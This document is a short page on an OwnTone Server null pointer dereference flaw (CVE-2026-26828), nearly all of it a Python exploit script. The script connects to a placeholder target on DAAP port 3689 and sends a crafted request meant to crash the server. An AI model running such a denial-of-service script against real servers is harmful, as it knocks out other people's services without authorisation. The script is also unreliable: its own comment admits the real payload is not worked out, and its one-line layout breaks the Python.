CVE-2026-26828 OwnTone Server空指针解引用漏洞

import socket # Target configuration HOST = 'target_ip' # Replace with the actual target IP PORT = 3689 # Default DAAP port for OwnTone def send_exploit(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Crafted malicious DAAP request payload to trigger NULL pointer dereference # Note: The specific payload structure depends on the crash analysis of commit 3d1652d payload = b"GET /database?output=xml HTTP/1.1\r\nHost: " + HOST.encode() + b"\r\n\r\n" # Send the payload s.send(payload) print("[+] Payload sent successfully.") # Receive response (or lack thereof, indicating crash) response = s.recv(1024) print("[+] Server response:", response) except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()